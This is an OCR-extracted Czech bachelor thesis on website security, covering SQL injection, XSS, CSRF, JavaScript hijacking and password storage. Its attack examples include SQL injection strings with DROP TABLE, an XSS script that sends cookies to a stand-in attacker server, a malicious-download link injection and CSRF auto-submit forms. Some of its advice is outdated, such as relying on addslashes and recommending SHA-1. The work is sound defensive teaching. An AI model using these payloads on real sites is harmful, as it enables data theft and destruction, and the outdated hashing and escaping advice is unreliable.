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Webové stranky z hlediska bezpecnosti proti

utokum

Souhrn

Prace se zabyva popisem bezpecnostnich problémt webovych stranek. Cela prace je
rozdélena na teoretickou a praktickou ¢ast. Prvni kapitola teoretické ¢asti zpracovava obecné
typy utokii na webové stranky. Duraz je kladen na spravné popsani principu fungovani
utoku, technické provedeni, ale i na techniky vedouci k zabranéni Gtoku. Tato kapitola se
vénuje SQL Injection, XSS, JavaScript Hijackingu a CSFR. Dalsi kapitola pojednava o
komplexni problematice autentizace na webovych strankéch, zejména zplisobem
ptihlaSovani pomoci hesla. Kapitola se vénuje jak na autentifikaci z pohledu uzivatele, tak
zejména 1 na hesla z pohledu vyvojare. V ramci tohoto okruhu jsou popsany a porovnany
bézn¢ pouzivané Sifrovaci algoritmy. V této kapitole je navic zahrnut popis implementace
pfihlaSovaci procedury a Sifrovaciho algoritmu. Posledni kapitola se vénuje redakénimu
systému WordPress a jeho bezpecnostnim problémim. Prakticka ¢ast, ktera je obsahem dalsi
kapitoly, se zabyva zejména vytvorenim bezpecné WordPress Sablony, kde je rozpracovana
zejména problematika oSetfovani uZzivatelskych vstupli a spravné oSetteni AJAXového
pozadavku. Dalsi sekci praktické ¢asti je testovani a zhodnoceni n€kolika bezpecnostnich

pluginii z hlediska jejich ochrany proti nezddoucim tutokim na redakcni systém WordPress.

Kli¢ova slova: hacking, cracking, exploiting, utoky, webové stranky, WordPress



Hacking, Cracking and Exploiting Websites

Summary

The work describes security problems of Websites. The whole work is divided into
theoretical and practical part. The first chapter of theoretical part summarizes general types
of attacks on websites. The work is made with emphasis placed on accurate description of
principle of the attack, technical execution and techniques leading to preventing attack. First
chapter is devoded to SQL Injection, XSS, JavaScript Hijacking and CSFR. Next chapter
discusses the complex problematics of autentication on websites and the most common use
authentication with password. This chapter is devoded to user prespective and especially
developer look. In this chapter are described and compared the commonly used hashing
algorithms. This chapter also included a description of a log-in procedure and encryption
algorithm. The last chapter is devoded to content managment system WordPress and its
security problems. The practical part, which is part of the naxt chapter, is focused to creating
a secure WordPress template. Focus in this template is mostly aimed to the treatment of user
inputs and proper treatment of AJAX request. Another section of the practical part is testing

and evaluation of several safety plugins in sight of their safety purpose.

Keywords: hacking, cracking, exploiting, Websites, WordPress
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1 Uved

Webové stranky patifi v dneSnim informacnim svété k upln€ nejdilezitéjsim
informacnim kanalim spolecnosti. Miliardy lidi po celém svété kazdodenné pouzivaji
webové stranky jako zdroj informaci, pracovni nastroj nebo jen jako zdroj zabavy. Z tohoto
divodu se do virtudlniho prostoru dostava neskute¢né mnozstvi dat a informaci, které jsou
z velké Casti neverejnymi nebo dokonce soukromimi daty.

Tyto informace na siti ziskavaji obrovskou hodnotu, a proto je kazdy den podniknuto
obrovské mnozstvi utokd S cilem ziskani téchto dat. Tyto titoky uz davno neprobihaji jenom
pomoci cilenych utokd pocitatovych specialisti na velké webové portaly, ale hlavné
necilenymi atoky velkého mnoZstvi robotickych utokl na obecné slabiny menSich webovych
stranek. | proto je ochrana webovych stranek stale dulezitéj$i téma na poli informacnich
technologii. Tento problém se stale vice tykd malych provozovatelli web, ktefi nejsou tak
dobte seznameni s riziky utok jako velké firmy.

Pokud se chceme utoklim na nase webové stranky u¢inné branit, nestaci jen presné
studovat obrané techniky, pro pIné pochopeni je potieba taktéz znat konkrétni utoky, nejlépe
z pohledu Uto¢nika, protoZe jen tak nejlépe pochopime jeho postupy, ale také motivace. Tyto
informace ndm dovoli mnohem efektivnéji zabezpecovat webové systémy jak po strané

technické, tak také po stran¢ ekonomické.



2 Cile prace a metodika

Cile prace

Hlavnim cilem této bakalaiské prace bude zpracovat problematiku ochrany
webovych stranek pied nezadoucimi poskozujicimi utoky. Prace se bude zabyvat popisem
hlavnich obecnych utokd, veetné €inné ochrany proti nim. Hlavnim cilem bude detailné
popsat bezpecnostni problémy webovych stranek a zejména analyzovat Gtoky na webové
stranky a obranu proti nim. Dil¢im cilem pak bude zpracovat problematiku hesel z hlediska
uzivatele i vyvojafe. DalSim dil¢im cilem bude zhodnotit stav redakcéniho systému
WordPress z hlediska bezpecnostnich hrozeb.

Praktickd cast prace si pak dava za cil praktickou formou demonstrovat né¢kolik
potencialnich bezpe¢nostnich problémi redakéniho systému WordPress s durazem na

moznosti jejich eliminace.

Metodika

Metodika feSené problematiky bude zaloZena na studiu odbornych zdroji. Teoreticka
¢ast prace se bude zabyvat charakteristikou jednotlivych typil Gtokidl na webové stranky a
ucinnou ochranou pied nimi. Pro praktickou ¢ast bude uzito soukromych osobnich stranek,
na kterych budou predvedeny a detailn¢ popsany jednotlivé typy ttokd a mozné zpiisoby
obrany. Na zakladé teoretickych poznatki a praktickych zjisténi budou formulovany zaveéry

prace.



3 Utoky na webové stranky

Hacking nebo cracking?

Pokud budeme hledat nazev pro utoky na pocitacové systémy obecné pouzivany
vetejnosti, vétSinou se setkame s ozna¢enim ,,hacking/hacker. Tento nazev vSak neni uplné
pfesny, tento termin spiSe vyjadiuje osobu, ktera v obecnéjSim smyslu vyuziva svoje
technické schopnosti ke zlepSeni stavajicich prostiedkti. Pokud se jedna o utoky, nebo
prolamovani nejriznéjSich pocitacovych siti a systémi pouziva se v odborné praxi spise
termin ,,cracking/cracker* — tedy pronikani do pocitacovych systému a ¢lovek provozujici
tuto ¢innost.

Dale v této praci bude pouzito rad¢ji odbornéjsi oznaceni ,,cracking®, rad¢ji nez

frekventovanéjsi termin pouzivany vefejnosti. (Erickson, 2003)

Co je to Cracking?

Cracking, jak jiz bylo feceno, je termin pro pronikani do nejriznéjsich pocitacovych
systémi pomoci zneuzivani slabin systému. Zptsobl pronikani do cizich zabezpecenych
systémt existuje celd fada, Gitoky na pocitacové systémy se déli do nasledujicich n€kolika
hlavnich kategorii:

e Utoky na webové stranky
e Utoky na sitova zafizeni
e Rozlamovani hesel
e Utoky na operaéni systémy
e Dalsi typy Utoki
Tato prace se nicméné bude vénovat jen prvnimu jmenovanému typu utokd, a to sice

cracking webovych stranek.



3.1 SQL Injection

SQL injection tedy Cesky SQL injekce piesné vystihuje ndzvem podstatu ttoku.
Jedna se o vlozeni Skodlivého kodu do napadené stranky skrze neoSetiené vstupy (nejcastéji
pies formulafova pole, nebo parametry URL adresy). V ndzvu utoku také figuruje SQL, a to
je pravé napadana cast webové stranky, tedy jeji databize. Tento typ utoku pro svoji
jednoduchost a zaroven t¢innost je podle studie spolecnosti OWASP viibec nejrozsitenejSim

utokem na webové stranky vibec. (OWASP, 2013)

Provedeni

Zakladnim principem SQL Injection je dostat vlastni skodlivy kod do SQL dotazu a
tim ho zmanipulovat tak aby napf. vypisoval citlivé informace z tabulky ¢ databazi. Utoky
pomoci SQL Injection se déli do nékolika kategorii podle typu podminky vkladané do
cilového SQL dotazu.

VKkladani podminky 1=1 — vZdy pravda.

Zékladnim testem moZnosti Gto€it na stranku muze byt tento vstup do neoSetfeného
pole:1 or 1=1

Vysledkem poté bude SQL dotaz proveden na serveru:
SELECT * FROM uzivatele WHERE uzivatel id = 1 or 1=1

Tento dotaz z DB vypiSe vSechny uzivatele aplikace véetné citlivych dat jako je napf.
heslo.

Vkladani podminky * ‘='" —vZidy pravda.
SELECT * FROM uzivatele WHERE uzivatel jmeno ="" or ""="" AND

uzivatel heslo ="" or ""=""
Oba tyto piiklady se na serveru provedou jako platny SQL dotaz a vypisi data,
protoze diky operatoru or staci, aby jedna z podminek v dotazu byla pravda. Jelikoz

podminky 1=1 a ““=“" jsou pravda vzdy, ptikaz se provede bez problémd.

Spojovani SQL prikazi pomoci stifedniku
Tato metoda spoléhd na moznost spojovat nékolik databazovych dotazli do jednoho
pomoci stfedniku. (toto nemusi fungovat na vSech servrech, zalezi na nastaveni serveru)
Vkladany koéd: 1; DROP TABLE dodavatele
SELECT * FROM uzivatele WHERE uzivatel id = 1; DROP TABLE

dodavatele (W3Schools, 2015)
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Obrana

Jelikoz utok prostiednictvim SQL Injection je pomérné jednoduchy, v mnoha
programovacich jazycich, které se pouzivaji pro tvorbu webovych aplikaci, je dnes jiz
integrovana funkce pro jednoduché osetfeni vstupli. V programovacim jazyce PHP to mazou
byt napiiklad funkce addslashes() a mysql_real_escape_strings(), které vstupni fetézec
osetfi tak, ze vSechny potencionalné nebezpecné znaky (uvozovky apod.) se doplni o zpétna
lomitka, coz zaruc¢i jejich interpretaci jako Cisty text. PHP od verze 3.06 automaticky
escapuje vSechny pfichozi zpravy dorucené pres http protokol. TakZe i neoSetiené aplikace
na této verzi PHP jsou pomérné bezpecné. AvSak na tuto funkcionalitu se nedoporucuje
vyvojartim spoléhat.

V PHP by jednoduché feSeni tohoto problému mohlo vypadat napf. takto:

Slastname = mysql real escape string($lastname);

echo $lastname; // O\'reilly
$sgl = "INSERT INTO lastnames (lastname) VALUES ('S$lastname')";
(PHP manual, 2015)

Dalsi moZznosti je pouziti parametri. Tuto mozZnost také nabizi mnoho jazyku a
v PHP je implementovana od verze 5.0 pomoci knihovny PDO. Zékladni implementace této
metody vypada takto:
Sstmt = S$Sdbh->prepare ("INSERT INTO Customers
(CustomerName, Address, City)
VALUES (:nam, :add, :cit)");
Sstmt->bindParam(':nam', S$txtNam) ;
Sstmt->bindParam(':add', S$txtAdd);
Sstmt->bindParam(':cit', S$txtCit);
Sstmt->execute () ;

(W3Schools, 2015)
SQL Injection mize byt ¢asto prvni a nejjednodussi véci, kterou tito¢nik pii napadeni

webové stranky vyzkousi. ReSeni ochrany proti tomuto utoku neptedstavuje zadny veEtsi

problém, a proto by kvalitni aplikace méla byt proti tomuto utoku dobfe ochranéna.
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3.2 Cross Site Scripting (XSS)
XSS neboli Cross Site Scripting je typ utoky, pfi kterém uto¢nik podobné jako u SQL

Injection implikuje do napadené stranky sviij koéd. U tohoto typu utoku se vSak jednd o
vlozeni JavaScriptu. XSS tutoky je mozno rozdélit do nékolika kategorii podle trvanlivosti

vlozeného kodu na strance.

Docasné

Skripty, které na napadené stranky tto¢nik vlozi napi. pomoci parametru URL adresy
a stranka je pouze zobrazi v DOM vypisu, nazyvame docasné XSS ttoky. Protoze pokud na
stranku pfistoupime bez parametru URL s infikovanym kddem, stranka se zobrazi normalng.
Proto je velmi lehké takto upraveny odkaz odlisit pouhym pohledem i pro nezkuSené¢ho
uzivatele. Takto tento typ utoku mize vypadat v praxi.

URL:
http://adresastranky.cz/index.php?jmeno=Jméno

Stranka vypisuje parametr jméno do DOMu:
echo $ GET['jmeno'];

Utok by poté vypadal takto:

http://adresastranky.cz/index.php?jmeno=<script>alert ('XSS

atok');</script>

Takto napadena stranka by zobrazila dialogové okno s textem utocnika, ale pouze
jen pii pfistupu na stranku z nakazeného linku. Zde ukazka pokrocilejsiho itoku pomoci této
metody:
http://adresastranky.cz/index.php?jmeno=<script>window.onload =
function () {
var AllLinks=document.getElementsByTagName ("a") ;

AllLinks[0] .href = "http://badexample.com/malicious.exe";

}</script>

Tento utok zpisobi vlozeni vlastniho Skodlivého odkazu do prvniho nalezeného

linku.
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Trvalé

Do této kategorie spadaji vSechny vlozené skripty, které se na strance ukladaji napft.
do databaze. Tento utok je velmi oblibeny pravé pro jeho efektivitu. Jeden vlozeny
JavaScriptovy kod do stranky ptes napt. pole pro vlozeni formulare, se nasledné ulozi do
databaze na serveru a zobrazuje se vSem uZivatelim pfi zobrazeni infikovaného komentéafe.
Tento utok je velmi pouzivany pro zobrazovani vlastni reklamy, nebo pro phishing. Pro tento
utok se samoziejmé daji pouzit vSechny neosetfené vstupy, nejenom formularové pole ale
také klidné€ parametry URL adresy jako v piedchozim ptikladu.

Nasledujici priklad ukazuje odcizeni Cookies pomoci XSS, tento kod by mohl byt
vlozen napt. do neoSetieného pole pro komentare.
<SCRIPT type="text/javascript">
var adr = 'http://strankautocnika.com/stolencookies.php?cookies="
+ escape (document.cookie) ;

</SCRIPT>
(OWASP, 2015)

Tento kod odesle cookies uzivatele na server utocnika do jeho vlastniho PHP skriptu.

Ten maze ukradené cookies napt. ukladat do souboru.

Obrana

Nejjednodussi obranou proti XSS je jednoduse oSetfovat vstupy do aplikace, u XSS
je potfeba odfiltrovat potencionalné nebezpecné znaky, aby se JS kod nemohl provést.
Nejlepsi metodou je prevést je na html entity. V PHP to mizeme napt. provést funkci:

htmlspecialchars().
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3.3 Cross Site Request Forgery (CSFR)

Tento typ utoku, podle asociaci OWASP (OWASP, 2013) jako 8. nejnebezpecnéjsi
pro rok 2013 je velmi nebezpecny z diivodu Ze probiha ptimo prostiednictvim prohliZzece
uzivatele aplikace, nikoli ato¢nika.

Zakladnim principem tohoto Utoku je pouzit pravdépodobné odkazy na editaci
obsahu napt. blogu v prohlize¢i uzivatele stranky bez jeho védomi. ProhlizeCe sdileji
autentizacni cookies, kterd se ve vét§iné modernich aplikaci se pouziva pro piihlaSovani,
mezi jednotlivymi kartami nebo okny prohlize¢e. Tim padem navstiveny odkaz z tohoto
prohlizece s platnou autentizacni cookies (uZivatel je na strance piihlaSen), provede
pozadovanou akci, napt. smazani nebo editaci dat. Touto metodou uto¢nik vétSinou neziska
plny pfistup do aplikace. Ale miiZze ovliviiovat obsah.

V praxi Gtok vétSinou vypada tak, Ze Gto¢nik na Svoji stranku implikuje pozadovany
odkaz na editaci nebo smazani obsahu do Src parametru obrazku, ktery nasledn¢ skryje. Tim
padem ptihlaSeny uzivatel napadené stranky po navstiveni uto¢nikovy stranky s obrazkem
nema Sanci poznat, Ze je jejim prostiednictvim napadena cilova aplikace.

Takto mize vypadat stranka se Skodlivym odkazem:
<img src=“http://napadenastranka.cz/admin.php?delete=true&id=1"
width="0" height="0%>

Takto vlozeny obrazek bez védomi navstévnika provede piikaz ke smazani. Je nutno
zminit Ze Utocnik tuto adresu vétSinou hada (mize ji ale také ziskat napt. znalosti systému
¢i ndhodné z riiznych logh apod.) a poté pomoci socidlniho inzenyrstvi pfildkava uzivatele
konkrétniho systému na vlastni stranku s timto obrazkem. Kde uzivatel nic netusici odesle
pozadavek na smazani. Tato metoda, avSak nebude fungovat, pokud aplikace bude pro

mazani pouzivat metodu POST. Toto se dé jednoduse obejit timto kddem:
<form action=" http://napadenastranka.cz/" method="post">
<input type="hidden" name="action" value="delete" />
</form>

<script type="text/javascript">
document.getElementsByTagName ('form') [0] .submit () ;

</script>

Misto obrazku je pouzit skryty iframe s formulafem odesilajicim se pomoci metody

POST.
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Obrana
Obranou proti tomuto utoku je v prvni fad¢ v aplikaci nepouzivat metodu GET, ale
pro u¢innou ochranu je potteba pouzit sofistikovanéjsi postupy z divoda popsanych vyse.
Pomérné komplikovanéjsi ochranou proti CSFR je ochrana pomoci valida¢niho
tokenu. Tato metoda generuje kazdému uzivateli nahodny token, ktery je ulozen v databazi
spolecné s uzivatelskym uctem. Pii vygenerovani formuléie pro napf. mazani je tento token
ptilozen jako skryté pole k formulafi a pifi jeho odeslani je porovnavan s hodnotou
v databazi. Pti neshod¢ jde o CSFR utok. Tento token se doporuCuje tvirciim aplikaci
generovat a ukladat pro kazdy odesilany formulai znovu.
<?php

$token = rand chars();

// ptri posilédni odkazu e-mailem

mysgl query ("INSERT INTO auth tokens (token, wvalidity) VALUES
('Stoken', NOW() + INTERVAL 1 DAY)");

Surl =

"http://$ SERVER[SERVER NAME]/admin/detail.php?id=$id&token=$token

LLI
’

// pt¥i vypisu formuldfe pro editaci nebo smazani
mysql query ("INSERT INTO auth tokens (token, validity) VALUES
('Stoken', NOW() + INTERVAL 1 HOUR)");

echo "<input type='hidden' name='token' value='S$token' />\n";

// pri provedeni akce
mysql query ("DELETE FROM auth tokens WHERE validity < NOW()"); //
smazani zastaralych

mysgl query ("DELETE FROM auth tokens WHERE token = '"

mysgl real escape string($ REQUEST["token"]) . "'"); // smazani
pouzitého
if (mysqgl affected rows()) {

// aktualizace z&znamu

?>

Priklad ochrany aplikace tokenem v PHP. (Vrana, 2006)
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3.4 JavaScript Hijacking

Javascript Hijacking je pomérn¢ nova zranitelnost webu, pti které dochazi k odcizeni
identity ptihlaSsovaného uzivatele pomoci AJAXu. (Brian Chess, 2007)

Podle OWASP (OWASP, 2013) je touto zranitelnosti mozno napadnout vétSinu
AJAX aplikaci.

Tento utok je podobné jako CSFR proveden z prohlizece nic netusiciho uzivatele,
rozdilem je Ze tento typ utoku cili na AJAX aplikace. Utoénik na vlastni doménu umisti
vlastni AJAX kod (pomoci diive popisované metody XSS je mozné v nékterych piipadech
tento kod umistit rovnou na cilové stranky s aplikaci, tim odpada nutnost dostat uZivatele na
vlastni stranku) pro zpracovani pozadavku na vraceni citlivych dat. Na tuto doménu je poté
naldkan ptihlaSeny uZivatel aplikace a ten nic netuSic spusti skryty AJAX kod. JelikoZ u
technologie AJAX je mozné kéd umistit i na jinou doménu, nez je doména serveru, AJAX
provede pozadavek bez problému a vrati uto¢nikovy ukradena data z aplikace. Tyto data

muze uto¢nik zapicovat do souboru ¢i jinak ukladat.

Utok na Gmail pomoci JavaScript Hijacking
V roce 2006 byla odcizena citliva data z Gmail uctd pomoci Javascript Hijackingu,

timto utokem byla tato bezpecnostni zranitelnost poprvé pouzita.

Postup utoku
1. Utoénik zaslal odkaz na vlastni stranku emailem uZivateli Gmailu. Timto ziskal v
podstaté jistotu, Ze uZivatel bude v dobé& navstévy stranky pfihlaSen na Gmailu.
2. Stranka, na kterou vedl odkaz ze zaslaného mailu, obsahovala AJAX kdd pro ziskani
listu uzZivatel.

3. AJAX skript volal stranku http://mail.google.com/mail/? url_scrubbed, ktera na

pozadani vraci kontaktni list v nereferencovaném poli.

4. Poslednim krokem bylo zpracovat ziskané pole do Citelné podoby timto koédem:
var table = document.createElement ('table'):;
table.id = 'content';
table.cellPadding = 3;
table.cellSpacing = 1;
table.border = 0;

function Array () {
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http://mail.google.com/mail/?_url_scrubbed

var obj this;

var ind = 0;

var getNext;

getNext = function (x) {

obj[ind++] setter = getNext;

1f(x) A

var str = x.toString();

if ((str !'= 'ct') &&amp;amp;amp;amp; (typeof x != 'object') &&
(str.match (/Q@/))) {

var row = table.insertRow(-1);

var td = row.insertCell (-1);
td.innerHTML = str;

}

}

i

this[ind++] setter = getNext;
}

function readGMail () {
document .body.appendChild (table) ;

}
(Grossman, 2006)

Obrana
Pro zabranéni tomuto typu Gtoku staci dodrZzovat nékolik bezpe€nostnich opatieni:
e JavaScript soubory by neméli obsahovat citliva data.
e Odkaz pro ziskani dat by mél byt neuhodnutelny. Piipadné unikétni pro kazdého
uzivatele
e Soubory pro ziskani dat by nemély byt pristupné z jinych domén.
(Grossman, 2006)
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3.5 Obecné zranitelnosti aplikaci
Mezi velka rizika bezpecnosti webovych aplikaci patii obecné chyby v navrhu

vvvvv 4

struktury téchto aplikaci. V této kapitole se pokusim shrnout nejdulezitéjsi z nich.

Ukladani hesel do databaze

Velmi rozSitenou bezpecnostni chybou na mnoha strankdch je ukladani
nezaSifrovanych hesel do databaze. V dnesni dob¢€ je bezpecnostni minimum je oSetfovani
hesel nékterym z hashovacich algoritma a pfidanim ndhodné soli. Doporucovéno je vSak

hesla Sifrovat pomoci napft. sifry berypt. Vice v kapitole Problematika autentizace.

HTTPS

I vroce 2015 je na sv€tovém internetu velké mnoZzstvi velkych stranek stale
pouzivajici nezabezpeceny protokol HTTP. Problém nezabezpeceného protokolu http je, ze
nesifruje Zadné odchozi ani ptichozi spravy odeslané po siti z a do stranky. To znamena, Ze
utocnik miize napiiklad obéti podstrkovat falesné ptihlasovaci formulédfe, nebo rovnou
odchytavat hesla, které jsou uZivatelem vyplnény do stranky. ProtoZe je pfenos neSifrovany,
uto¢nikovi se dostanou do ruky hesla v Citelné podobé, které mtize ihned pouzit. Toto je
samoziejm¢ mozné jen pokud je utocnik s obéti na stejné siti, ale pii vyplilovani hesel na
napft. vefejné Wi-Fi je tento scénaf velmi redlny.

Mnoho firem argumentuje, ze zavedeni HTTPS protokolu neni potiebné, protoze
nemaji na strankach zadné osobni udaje jako ¢isla karet, roky narozeni atd. Bohuzel jednu
z nejecenngjSich informaci, které miize uto¢nik odcizit je uzivatelské pristupové udaje. Proto

by mél v dnesni dob& byt minimaln¢ piihlaSovaci formuléf chranén protokolem HTTPS.

Zasilani hesel E-mailem

Rozsifenym neSvarem tviircii webovych aplikaci je také odesilani citlivych informaci
jako jsou hesla na uzivateliv e-mail. Velmi Casto se toto feSeni pouziva pii zaslani
zapomenutého hesla. Je vSak diilezité mit na paméti Ze e-mail je vzdy neSifrovana forma
komunikace a Zadny citlivy obsah by se v ném nemél za zadnych okolnosti objevit. Resenim
tohoto bezpecnostniho problému je e-mailem odesilat jen odkaz zpét na formulat, kde si
uzivatel heslo zméni. Tato strdnka mizZe byt zabezpeena pomoci HTTPS a bezpecnost se

tim vyrazné zvysi.
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4 Problematika autentizace

Autentizace neboli pfihlaSeni je zékladnim stavebnim kamenem kazdé aplikace
vyzadujici pouziti uzivatelskych ucta. Odjakziva toto téma souvisi se zdkladni Grovni
bezpecnosti aplikace, jelikoz odcizeni pristupu K uzivatelskému uctu obvykle znamena
nejenom odcizeni dat z konkrétniho uctu, ale také u uzavienych aplikaci umoziuje
toénikovi blize prozkoumat vnitini strukturu aplikace. Cehoz lze vyuzit pfi dalsich

piipadnych ttocich.

Klasicka autentizace

V minulosti bylo tvirci aplikaci k pfihlasovani pfistupovano razné. Avsak
V soucasnosti se standart pro autentizaci u drtivé vétSiny aplikaci ustalil na pouzivani
kombinace uzivatelského jména (ptipadné emailu) a hesla. Tento piistup vsak s sebou nese
urCité nevyhody. Zaprvé nuti uzivatele registrujiciho se na webové strance stale vymyslet
nova hesla, toto vede k tomu, ze uzivatelé voli bud’ pomérn¢ jednoduché hesla na uhodnuti
anebo opakuji stale stejné heslo ve vSech svych uctech. Z kombinace téchto pfistupl
prameni, ze pokud uto¢nik uhodne nebo jinak ziska heslo na jedné sluzbé, ziska piistup do
vSech ostatnich G¢ti. Pokud navic sluzba pouziva jako ptihlaSovaci jméno email je pro

utocnika velmi jednoduché zkusit tuto kombinaci na vSech ostatnich sluzbach.

Dvoufazové prihlasovani

Toto si uvédomili 1 velké internetové firmy a pfisli s feSenim zlepSeni bezpecnosti
stavajiciho systému pouzivajiciho uzivatelské jméno a heslo. Novy systém se nazyva
vétSinou dvoufdzova autentifikace a funguje na principu doruceni kratkého generovaného
hesla na dalsi zafizeni uzivatele. Toto generované heslo je vétSinou doruc¢ovano na mobilni
telefon pomoci SMS zpravy nebo do specidlni aplikace pro mobilni platformy. Pti kazdém
ptihlaseni je uzivatel vyzvan, aby zadal tento generovany kod do ptihlasovaciho formulafte,
pokud koéd neni zadan, nebo je neplatny piihlaseni neprobéhne. Pokud by se piipadny
uto¢nik snazil prihlasit do takto zabezpeceného uctu, potiebuje pro Gspésny utok zjistit nebo
uhodnout dany generovany kod. Jednou z mozZnosti je vlastnit dal§i zafizeni obéti ttoku,
nebo uhodnou vygenerovany kéd. Jelikoz kody pro dvoufazové piihlaSovani byvaji omezené
poctem pokust zadani kodu (vétSinou koéd navic expiruje po urCitém cCase a je tfeba

vygenerovat novy), je i tato moznost velmi nepravdépodobna. Dulezité¢ je dodat Ze tato
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ochrana je pouzivana jako dopln€k k ptivodnimu heslu. Dvoufazova autentifikace je, vSak
z davodu pomérné velké technické narocnosti je zatim rozsifena jen u velkych internetovych

firem. (Caletka, 2012)

Algoritmus HOTP
Algoritmus HOTP (HMAC-Based One-Time Password) Tento algoritmus slouzi pro

generovani jednordzovych hesel pouzivanych pti dvoufizovém ptihlasovani. Zakladem
algoritmu je pouziti kli¢e K a ¢isla C coz je pocitadlo vygenerovanych hesel. Toto pocitadlo
se pfi kazdém novém generovaném heslu zvySuje o 1. Kli¢ K je symetrickd Sifra sdilena
mezi server a klient, v tomto piipad¢ mobilni telefon. Pfi generovani hesla se tyto dva udaje
zaSifruji pomoci hashovaci funkce HMAC-SHA-1. Nésledné dojde pomoci funkce Truncate
Kk vybrani 4 bitt, které jsou pfevedeny na alfanumerickou podobu a ofiznuty vétSinou na 4
Cislice. Tato hodnota pak uz mize slouzit jako jednorazové heslo pro prihlaseni. Cela
operace probiha podle tohoto vzorce: HOTP(K,C) = Truncate(HMAC-SHA-1(K, C))
Google pfi tvorbé svého vlastniho dvoufazového ptihlaSovani pouzil funkci HOTP,
avsak lehce ji vylepsil pridanim systémového ¢asu do hashovaci funkce misto pocitadla C.
Timto vznikla vylepSena verze TOTP (Time-based One-time Password Algorithm). Jelikoz
tato funkce se nezavisle na sobé provadi jak na serveru, tak i na klientovi a ziskané vysledky
se porovnavaji, je nutné, aby se systémovy ¢as vyrazn¢ nelisil. (Hamernik, 2014)
Nevyhodou obou systému je, Zze symetricky kli¢ K musi byt uloZzen v klientovi,
V nasem piipadé tedy v mobilnim telefonu. Toto sebou nese jista bezpecnostni rizika, jelikoz
kli¢ v telefonu je ulozen jednoduse Vv nezabezpeceni SQL databézi. Tato nedokonalost je
vSak z ¢asti kompenzovana faktem, Ze tento typ pifihlasovani je kombinovéan s klasickym

heslem.

PrihlaSovani pomoci dalSich sluzeb

V dnesni dobé¢ je prihlasovani pomoci sluzeb tfetich stran naptiklad pomoci
facebooku nebo google uctu velice popularni, hned z n¢kolika divodi. Tviirci webovych
aplikaci nemusi slozité programovat infrastrukturu ptihlasovani a jednoduSe velkou ¢ast
pfevezmou od tieti strany. Pro uzivatele je tento zplsob také velmi vyhodny, protoZze misto
vymysleni nového hesla lze ptevzit heslo napt. z facebooku a registrace je jednim kliknutim
vyftizena. Tento zpusob pirihlaSovani skryva v neposledni fadé i velmi zajimavé bezpecnostni

hledisko. Pokud stranka pouziva autentifikaci pomoci sluzby tfeti strany, provozovatel
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sluzby nikdy neziska heslo v neSifrované podobé. Je tedy zajisténo, Ze sluzba bude s hesly
nakladat jako sluzba poskytujici ptihlasovéani. Pokud totiz sluzba s vlastnim systémem
ptihlasovani hesla nespravné ¢i viibec Sifruje, hrozi v ptipadé utoku kompromitace hesel
uzivateli. Navic tyto velké internetové firmy poskytujici pfihlasovaci API mizou jako
zabezpeceni svych ucth pouzivat naptf. dvoufdzovou autentifikaci (popsano v minulé
kapitole), kterou by dany tviirce z technickych divodi nemohl viibec implementovat. Timto
se dramaticky zvySuje uroven zabezpeceni malych sluzeb. A uzivatelé mohou pouzivat jeden

centralni ucet se silnym heslem.

Exotické metody prihlaSovani

Mezi dal§i moznosti piihlaSovani na webovych aplikacich patii rizné exotické
metody jako napiiklad:

Jako pfihlasovani na webovou stranku lze pouzit naptiklad razné typy grafickych
hesel. NejpouZzivanéj$i metodou je kontrolovani nékolika gest na ur¢itém obrazku, nebo
kresleni raznych tvarii v ¢tvercovém poli. Tohoto Ize napt. dobie vyuzit na dotykovych
zafizenich.

Dal$i metodou nepfili§ pouzivané autentifikace je vyuziti unikatniho hardwaru
s ulozenym velmi bezpecnym heslem. Uzivatel je pro pfihlaSeni nucen vlozit do pocitace
napf. unikatni USB klicenku, poté je vpusStén do systému. Pro pouZiti této metody pro

prihlasovani do webovych aplikaci je vétSinou navic vyzadovana aplikace ptimo v OS.
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4.1 Sifrovaci algoritmy

Pti pouziti autentizace pomoci hesla je potfeba heslo ukladat napt. do databaze pro
pozdéjsi ovétovani pii piihlaSovéani uzivatell. Tato nutnost s sebou piinasi samoziejmée
spoustu technickych a bezpecnostnich problémt. Jednim z nich je forma ulozeného hesla
Vv databazi. V praktickém pouZiti se doporucuje ukladat hesla do databdze v Sifrované
podobé, nebo alespon hashované podobé. Pro zaSifrovani hesla je vhodné pouzit néktery
z dostupnych Sifrovacich algoritmi, protoze v ptipadé¢ kompromitovani databaze uZzivatell

utocnik nesmi ziskat hesla v Citelné podobé.

Hashovaci funkce

Mezi nejzndméjsi a nejvice pouzivané hashovaci funkce patii bezesporu algoritmy
MD5 a SHA-1. (Denis, 2006) V dnesni dobé se doporucuje pouzivat spise SHA-1 z divodu
vétsi bezpe€nosti. Témto funkcim se tikd hashovaci, protoze jde jen o jednosmérné
zakddovani daného fetézce do necitelné podoby. Tato operace by meéla byt opravdu
jednosmérna a z tzv. hashe by nemélo byt mozné ziskat zpét ptivodni fetézec.

Bohuzel u tohoto systému zabezpeceni hesel nardzime na problém moznosti
zpétného porovnavani hashi. To znamend, ze pokud utocnik ziskd celou databazi
zakodovanych hesel, mize zkousSet porovnavat zakodovana hesla s databazi zakodovanych
beéznych slov. JelikoZ jednosmérny hash je pro stejny fetézec vzdy také stejny, v pripade
schody uto¢nik ziské ptivodni heslo. To samoziejmé& znamena, Ze utocnik je schopen ziskat
jen néktera jednoducha hesla, ktera se nachazeji ve slovnicich nebo v databazich
nejpouzivanéjsich hesel, ale uzivatelé &asto tato hesla pravé pouzivaji. Castené tomuto lze
zabranit nastavenim piisnéj$i politiky pro hesla pfi registraci uZivateld, ale toto opatieni ne

Timto narazime na dal$i problém hashovacich funkci MD5 a SHA-1 a to je jejich
rychlost. Paradoxné velmi vysoka rychlost téchto funkci vede k tomu, Zze uto¢nik muize
v kratkém cCase vyzkouSet velké mnozstvi porovnavacich hashi a tim zvySovat
pravdépodobnost rozlusténi vice hesel.

V bézné praxi se z divodu jednoduchych hesel doporucuje ptidavat do kazdého hesla
tzv. ,,salt“ neboli sul. (OWASP, 2015) Sul je nahodny fetézec znaku, ktery je pfidan za
puvodni heslo a snim je zakdédovan pomoci hashovaci funkce. Timto dojde k zvySeni

sloZitosti hesla a ptipadnému tto¢nikovi zna¢né zeslozituje dekédovani hesel.
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Sifrovaci funkce

Leps$im feSenim, neZ pouzivani prostého kodovani hesel pomoci hashovacich funkci
je pouziti Sifrovani. Nejpouzivanéjs$i soucasnou Sifrovaci funkci pro webové aplikace je
berypt. Tato Sifrovaci funkce je zalozena na Siffe blowfish a je podporovana ve vétSiné
modernich jazykt jako PHP, JAVA a Node.js.

